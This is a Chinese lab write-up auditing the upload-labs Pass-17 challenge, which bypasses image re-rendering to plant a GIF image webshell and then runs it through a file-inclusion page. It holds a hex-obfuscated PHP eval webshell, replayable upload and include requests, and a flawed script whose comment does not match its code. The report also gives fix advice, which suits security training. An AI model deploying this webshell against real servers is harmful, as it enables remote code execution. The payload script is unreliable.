upload-labs_Pass-17_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-17
漏洞类型 二次渲染绕过 + 文件包含执行
审计日期 2026-08-09
目标文件 Pass-17/index.php

二、漏洞概述

Pass-17 在上传图片后,使用 imagecreatefromjpeg()imagecreatefrompng()imagecreatefromgif() 读取上传的图片,然后使用 imagejpeg()imagepng()imagegif() 重新生成一张新图片。该过程称为二次渲染,目的是清除图片中可能嵌入的恶意代码。然而,攻击者可以通过精心构造图片马,使 PHP 代码在二次渲染后仍然保留在图片中,从而绕过渲染保护,并通过文件包含漏洞执行代码。

  • 危险等级:中高危
  • 影响范围:可上传图片马并通过文件包含漏洞执行任意 PHP 代码

三、问题代码位置

文件路径Pass-17/index.php

问题代码片段(第 20-88 行,以 GIF 为例)

}else if(($fileext == "gif") && ($filetype=="image/gif")){
    if(move_uploaded_file($tmpname,$target_path)){
        //使用上传的图片生成新的图片
        $im = imagecreatefromgif($target_path);

        if($im == false){
            $msg = "该文件不是gif格式的图片!";
            @unlink($target_path);
        }else{
            //给新图片指定文件名
            srand(time());
            $newfilename = strval(rand()).".gif";
            //显示二次渲染后的图片(使用用户上传图片生成的新图片)
            $img_path = UPLOAD_PATH.'/'.$newfilename;
            imagegif($im,$img_path);

            @unlink($target_path);
            $is_upload = true;               
        }
    } else {
        $msg = "上传出错!";
    }
}

四、漏洞分析

4.1 为什么存在这个问题

二次渲染确实可以清除大部分简单嵌入的 PHP 代码,但并不意味着绝对安全。攻击者可以通过分析图片文件结构,将 PHP 代码插入到不会被 GD 库重新生成的区域(如 GIF 文件的注释块、PNG 文件的文本块等)。特别是 GIF 格式,由于其结构特性,较容易构造出绕过二次渲染的图片马。

4.2 校验逻辑缺陷

  • 二次渲染虽然增强了安全性,但未能完全清除嵌入代码。
  • 未对上传目录的文件包含访问进行限制。
  • 上传后的图片仍可通过 include.php 被包含执行。

五、利用思路

  1. 构造能够抵抗二次渲染的图片马。常见方法:
    • 使用工具生成 GIF 图片马,将 PHP 代码放入 GIF 注释块等不会被渲染清除的位置。
    • 对比渲染前后的图片,找出差异区域,将 PHP 代码插入到保留区域。
  2. 上传图片马,服务端二次渲染后保存为新图片。
  3. 访问 include.php?file=upload/xxxxx.gif,执行图片马中保留的 PHP 代码。

六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-17/index.php
  • 文件包含漏洞页面:http://target.com/upload-labs/include.php
  • 已准备好可抵抗二次渲染的图片马 shell.gif

6.2 构造 GIF 图片马

可以使用以下 Python 脚本或类似工具生成:

# 简单示例:在 GIF 注释块中插入 PHP 代码
with open('normal.gif', 'rb') as f:
    data = f.read()

# 在 GIF 数据后追加 PHP 代码(部分环境可保留)
payload = b'\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e'

with open('shell.gif', 'wb') as f:
    f.write(data + payload)

更稳定的做法是使用专门的 GIF 图片马生成工具,将 PHP 代码插入到不会被 imagecreatefromgif 清除的数据块中。

6.3 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.gif"
Content-Type: image/gif

[此处为可抵抗二次渲染的图片马二进制内容]
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.4 利用步骤

  1. 生成可抵抗二次渲染的图片马。
  2. 在 Yakit 中新建 HTTP 请求,上传图片马。
  3. 修改 Host 为实际靶场地址。
  4. 发送请求,服务端二次渲染后保存新图片。
  5. 返回页面显示新图片路径,例如 upload/12345.gif
  6. 访问文件包含漏洞页面:
GET /upload-labs/include.php?file=upload/12345.gif HTTP/1.1
Host: target.com
  1. 使用 POST 请求发送 cmd=phpinfo(); 验证是否执行。

七、修复建议

  1. 强化二次渲染:确保渲染后的图片完全不包含原始文件中的非图像数据。
  2. 禁止动态包含上传文件:修复 include.php 的文件包含漏洞,对包含路径进行白名单校验。
  3. 上传目录与应用代码隔离:避免上传文件被当作代码执行。
  4. 重命名上传文件:使用随机文件名。
  5. 内容安全策略:对图片文件进行更严格的格式校验。

安全代码示例

$tmp = $_FILES['upload_file']['tmp_name'];
$info = getimagesize($tmp);
if (!$info) {
    die('文件不是有效图片');
}

// 二次渲染
$img = imagecreatefromstring(file_get_contents($tmp));
if (!$img) {
    die('图片渲染失败');
}
$ext = image_type_to_extension($info[2]);
$new_name = md5(uniqid()) . $ext;
switch ($info[2]) {
    case IMAGETYPE_GIF: imagegif($img, UPLOAD_PATH . '/' . $new_name); break;
    case IMAGETYPE_JPEG: imagejpeg($img, UPLOAD_PATH . '/' . $new_name, 100); break;
    case IMAGETYPE_PNG: imagepng($img, UPLOAD_PATH . '/' . $new_name); break;
    default: die('不支持的图片类型');
}
imagedestroy($img);

// 同时修复 include.php,禁止包含上传目录文件

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部